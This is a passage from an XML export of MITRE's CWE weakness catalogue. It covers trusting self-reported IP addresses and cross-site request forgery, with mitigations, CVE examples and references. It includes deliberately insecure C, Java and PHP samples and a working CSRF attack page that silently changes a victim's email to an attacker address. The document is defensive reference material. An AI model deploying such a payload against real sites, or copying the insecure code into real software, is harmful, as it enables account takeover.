						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Resource
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Control of
						Resource Identifiers (aka 'Resource Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness></Weaknesses><Compound_Elements>
                    <Compound_Element ID="291" Name="Trusting Self-reported IP Address" Compound_Element_Abstraction="Variant" Compound_Element_Structure="Composite" Status="Incomplete">
			      <Description>
				        <Description_Summary>The use of IP addresses as authentication is flawed and can
					easily be spoofed by malicious users.</Description_Summary>
				        <Extended_Description>
					          <Text>As IP addresses can be easily spoofed, they do not constitute a valid
						authentication mechanism. Alternate methods should be used if significant
						authentication is necessary.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>348</Relationship_Target_ID>
					          <!--Use of Less Trusted Source-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Malicious users can fake authentication information, impersonating any
							IP address.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use other means of identity verification that cannot be simply
							spoofed. Possibilities include a username/password or
							certificate.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-99">
					          <Intro_Text>Both of these examples check if a request is from a trusted address
						before responding to the request.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>sd = socket(AF_INET, SOCK_DGRAM, 0);</Code>
							              <Code>serv.sin_family = AF_INET;</Code>
							              <Code>serv.sin_addr.s_addr = htonl(INADDR_ANY);</Code>
							              <Code>servr.sin_port = htons(1008);</Code>
							              <Code>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));</Code>
							              <Code/>
							              <Code>while (1) {</Code>
							              <Block>
								                <Code>memset(msg, 0x0, MAX_MSG);</Code>
								                <Code>clilen = sizeof(cli);</Code>
								                <Code>if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {</Code>
								                <Block>
									                  <Code>n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *)
										&amp; cli, &amp;clilen);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>while(true) {</Code>
							              <Block>
								                <Code>DatagramPacket rp=new
									DatagramPacket(rData,rData.length);</Code>
								                <Code>outSock.receive(rp);</Code>
								                <Code>String in = new String(p.getData(),0, rp.getLength());</Code>
								                <Code>InetAddress clientIPAddress = rp.getAddress();</Code>
								                <Code>int port = rp.getPort();</Code>
								                <Code/>
								                <Code>if (isTrustedAddress(clientIPAddress) &amp;
									secretKey.equals(in)) {</Code>
								                <Block>
									                  <Code>out = secret.getBytes();</Code>
									                  <Code>DatagramPacket sp =new DatagramPacket(out,out.length,
										IPAddress, port); outSock.send(sp);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code only verifies the address as stored in the request packet. An
							attacker can spoof this address, thus impersonating a trusted client.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Trusting self-reported IP address</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="352" Name="Cross-Site Request Forgery (CSRF)" Compound_Element_Abstraction="Variant" Compound_Element_Structure="Composite" Status="Draft">
			      <Description>
				        <Description_Summary>The web application does not, or can not, sufficiently verify
					whether a well-formed, valid, consistent request was intentionally provided by
					the user who submitted the request.</Description_Summary>
				        <Extended_Description>
					          <Text>When a web server is designed to receive a request from a client without
						any mechanism for verifying that it was intentionally sent, then it might be
						possible for an attacker to trick a client into making an unintentional
						request to the web server which will be treated as an authentic request.
						This can be done via a URL, image load, XMLHttpRequest, etc. and can result
						in exposure of data or unintended code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>346</Relationship_Target_ID>
					          <!--Origin Validation Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>441</Relationship_Target_ID>
					          <!--Unintended Proxy/Intermediary-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>Requires</Relationship_Nature>
					          <Relationship_Target_ID>613</Relationship_Target_ID>
					          <!--Insufficient Session Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>716</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>814</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be resultant from XSS, although XSS is not necessarily
						required.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Session Riding</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Cross Site Reference Forgery</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>XSRF</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> The consequences will vary depending on the nature of the
							functionality that is vulnerable to CSRF. An attacker could effectively
							perform any operations as the victim. If the victim is an administrator
							or privileged user, the consequences may include obtaining complete
							control over the web application - deleting or stealing data,
							uninstalling the product, or using it to launch other attacks against
							all of the product's users. Because the attacker has the identity of the
							victim, the scope of CSRF is limited only by the victim's privileges.
						</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual analysis can be useful for finding this weakness,
							and for minimizing false positives assuming an understanding of business
							logic. However, it might not achieve desired code coverage within
							limited time constraints. For black-box analysis, if credentials are not
							known for privileged accounts, then the most security-critical portions
							of the application may not receive sufficient attention.</Text>
						            <Text>Consider using OWASP CSRFTester to identify potential issues and aid
							in manual analysis.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>CSRF is currently difficult to detect reliably using automated
							techniques. This is because each application has its own implicit
							security policy that dictates which requests can be influenced by an
							outsider and automatically performed on behalf of a user, versus which
							requests require strong confidence that the user intends to make the
							request. For example, a keyword search of the public portion of a web
							site is typically expected to be encoded within a link that can be
							launched automatically when the user clicks on the link.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, use anti-CSRF packages such as the OWASP CSRFGuard.
							[R.352.3]</Text>
						            <Text>Another example is the ESAPI Session Management control, which
							includes a component for CSRF. [R.352.9]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that the application is free of cross-site scripting issues
							(CWE-79), because most CSRF defenses can be bypassed using
							attacker-controlled script.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Generate a unique nonce for each form, place the nonce into the form,
							and verify the nonce upon receipt of the form. Be sure that the nonce is
							not predictable (CWE-330). [R.352.5]</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Note that this can be bypassed using XSS (CWE-79).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify especially dangerous operations. When the user performs a
							dangerous operation, send a separate confirmation request to ensure that
							the user intended to perform that operation.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Note that this can be bypassed using XSS (CWE-79).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the "double-submitted cookie" method as described by Felten and
							Zeller:</Text>
						            <Text>When a user visits a site, the site should generate a pseudorandom
							value and set it as a cookie on the user's machine. The site should
							require every form submission to include this value as a form value and
							also as a cookie value. When a POST request is sent to the site, the
							request should only be considered valid if the form value and the cookie
							value are the same.</Text>
						            <Text>Because of the same-origin policy, an attacker cannot read or modify
							the value stored in the cookie. To successfully submit a form on behalf
							of the user, the attacker would have to correctly guess the pseudorandom
							value. If the pseudorandom value is cryptographically strong, this will
							be prohibitively difficult.</Text>
						            <Text>This technique requires Javascript, so it may not work for browsers
							that have Javascript disabled. [R.352.4]</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Note that this can probably be bypassed using XSS (CWE-79), or when
							using web technologies that enable the attacker to read raw headers from
							HTTP requests.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use the GET method for any request that triggers a state
							change.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check the HTTP Referer header to see if the request originated from an
							expected page. This could break legitimate functionality, because users
							or proxies may have disabled sending the Referer for privacy
							reasons.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Note that this can be bypassed using XSS (CWE-79). An attacker could
							use XSS to generate a spoofed Referer, or to generate a malicious
							request from a page whose Referer would be allowed.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example PHP code attempts to secure the form submission process
						by validating that the user submitting the form has a valid session. A CSRF
						attack would not be prevented by this countermeasure because the attacker
						forges a request through the user's web browser in which a valid session
						already exists.</Intro_Text>
					          <Example_Body>
						            <Text>The following HTML is intended to allow a user to update a
							profile.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="/url/profile.php" method="post"&gt;</Code>
							              <Code>&lt;input type="text" name="firstname"/&gt;</Code>
							              <Code>&lt;input type="text" name="lastname"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="text" name="email"/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit" value="Update"/&gt;</Code>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>profile.php contains the following code.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>// initiate the session in order to validate sessions</Code>
							              <Code/>
							              <Code>session_start();</Code>
							              <Code/>
							              <Comment>//if the session is registered to a valid user then allow
								update</Comment>
							              <Code/>
							              <Code>if (! session_is_registered("username")) {</Code>
							              <Block>
								                <Code/>
								                <Code> echo "invalid session detected!";</Code>
								                <Code/>
								                <Comment>// Redirect user to login page</Comment>
								                <Code> [...]</Code>
								                <Code/>
								                <Code> exit;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Comment>// The user session is valid, so process the request</Comment>
							              <Comment>// and update the information</Comment>
							              <Code/>
							              <Code>update_profile();</Code>
							              <Code/>
							              <Code>function update_profile {</Code>
							              <Block>
								                <Comment>// read in the data from $POST and send an update</Comment>
								                <Comment>// to the database</Comment>
								                <Code>SendUpdateToDatabase($_SESSION['username'],
									$_POST['email']);</Code>
								                <Code> [...]</Code>
								                <Code>echo "Your profile has been successfully updated.";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code may look protected since it checks for a valid session.
							However, CSRF attacks can be staged from virtually any tag or HTML
							construct, including image tags, links, embed or object tags, or other
							attributes that load background images.</Text>
						            <Text>The attacker can then host code that will silently change the username
							and email address of any user that visits the page while remaining
							logged in to the target web application. The code might be an
							innocent-looking web page such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;SCRIPT&gt;</Code>
							              <Code>function SendAttack () {</Code>
							              <Block>
								                <Code>form.email = "attacker@example.com";</Code>
								                <Comment>// send to profile.php</Comment>
								                <Code>form.submit();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>&lt;/SCRIPT&gt;</Code>
							              <Code/>
							              <Code>&lt;BODY onload="javascript:SendAttack();"&gt;</Code>
							              <Code/>
							              <Code>&lt;form action="http://victim.example.com/profile.php" id="form"
								method="post"&gt;</Code>
							              <Code>&lt;input type="hidden" name="firstname" value="Funny"&gt;</Code>
							              <Code>&lt;input type="hidden" name="lastname" value="Joke"&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="hidden" name="email"&gt;</Code>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>Notice how the form contains hidden fields, so when it is loaded into
							the browser, the user will not notice it. Because SendAttack() is
							defined in the body's onload attribute, it will be automatically called
							when the victim loads the web page.</Text>
						            <Text>Assuming that the user is already logged in to victim.example.com,
							profile.php will see that a valid user session has been established,
							then update the email address to the attacker's own address. At this
							stage, the user's identity has been compromised, and messages sent
							through this profile could be sent to the attacker's address.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1703</Observed_Example_Reference>
					          <Observed_Example_Description>Add user accounts via a URL in an img
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1995</Observed_Example_Reference>
					          <Observed_Example_Description>Add user accounts via a URL in an img
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1967</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary code execution by specifying the code in
						a crafted img tag or URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1842</Observed_Example_Reference>
					          <Observed_Example_Description>Gain administrative privileges via a URL in an img
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1947</Observed_Example_Reference>
					          <Observed_Example_Description>Delete a victim's information via a URL or an img
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2059</Observed_Example_Reference>
					          <Observed_Example_Description>Change another user's settings via a URL or an img
						tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1674</Observed_Example_Reference>
					          <Observed_Example_Description>Perform actions as administrator via a URL or an
						img tag</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3520</Observed_Example_Reference>
					          <Observed_Example_Description> modify password for the
						administrator</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3022</Observed_Example_Reference>
					          <Observed_Example_Description>CMS allows modification of configuration via CSRF
						attack against the administrator</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3759</Observed_Example_Reference>
					          <Observed_Example_Description>web interface allows password changes or stopping
						a virtual machine via CSRF</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>The CSRF topology is multi-channel:</Text>
					          <Block>
						            <Text>1. Attacker (as outsider) to intermediary (as user). The interaction
							point is either an external or internal channel.</Text>
						            <Text>2. Intermediary (as user) to server (as victim). The activation point
							is an internal channel.</Text>
					          </Block>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This issue was under-reported in CVE until around 2008, when it began to
						gain prominence. It is likely to be present in most web applications.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.352.1">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and
						Response Splitting)." Page 37</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.2">
					          <Reference_Author>Peter W</Reference_Author>
					          <Reference_Title>Cross-Site Request Forgeries (Re: The Dangers of Allowing Users
						to Post Images)</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Link>http://marc.info/?l=bugtraq&amp;m=99263135911884&amp;w=2</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.3">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Cross-Site Request Forgery (CSRF) Prevention Cheat
						Sheet</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.4">
					          <Reference_Author>Edward W. Felten</Reference_Author>
					          <Reference_Author>William Zeller</Reference_Author>
					          <Reference_Title>Cross-Site Request Forgeries: Exploitation and
						Prevention</Reference_Title>
					          <Reference_Date>2008-10-18</Reference_Date>
					          <Reference_Link>http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.5">
					          <Reference_Author>Robert Auger</Reference_Author>
					          <Reference_Title>CSRF - The Cross-Site Request Forgery (CSRF/XSRF)
						FAQ</Reference_Title>
					          <Reference_Link>http://www.cgisecurity.com/articles/csrf-faq.shtml</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.6">
					          <Reference_Title>Cross-site request forgery</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2008-12-22</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Cross-site_request_forgery</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.7">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 4 - Cross Site Request
						Forgery</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-03</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/03/top-25-series-–-rank-4-–-cross-site-request-forgery/</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.352.8">
					          <Reference_Author>Jeff Atwood</Reference_Author>
					          <Reference_Title>Preventing CSRF and XSRF Attacks</Reference_Title>
					          <Reference_Date>2008-10-14</Reference_Date>
					          <Reference_Link>http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.352.9">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Cross-Site Request Forgery (CSRF)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Cross Site Request Forgery (CSRF)</Mapped_Node_Name>
					          <Mapped_Node_ID>A5</Mapped_Node_ID>
					          <Mapping_Fit>Exact</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Cross-site Request Forgery </Mapped_Node_Name>
					          <Mapped_Node_ID>9</Mapped_Node_ID>
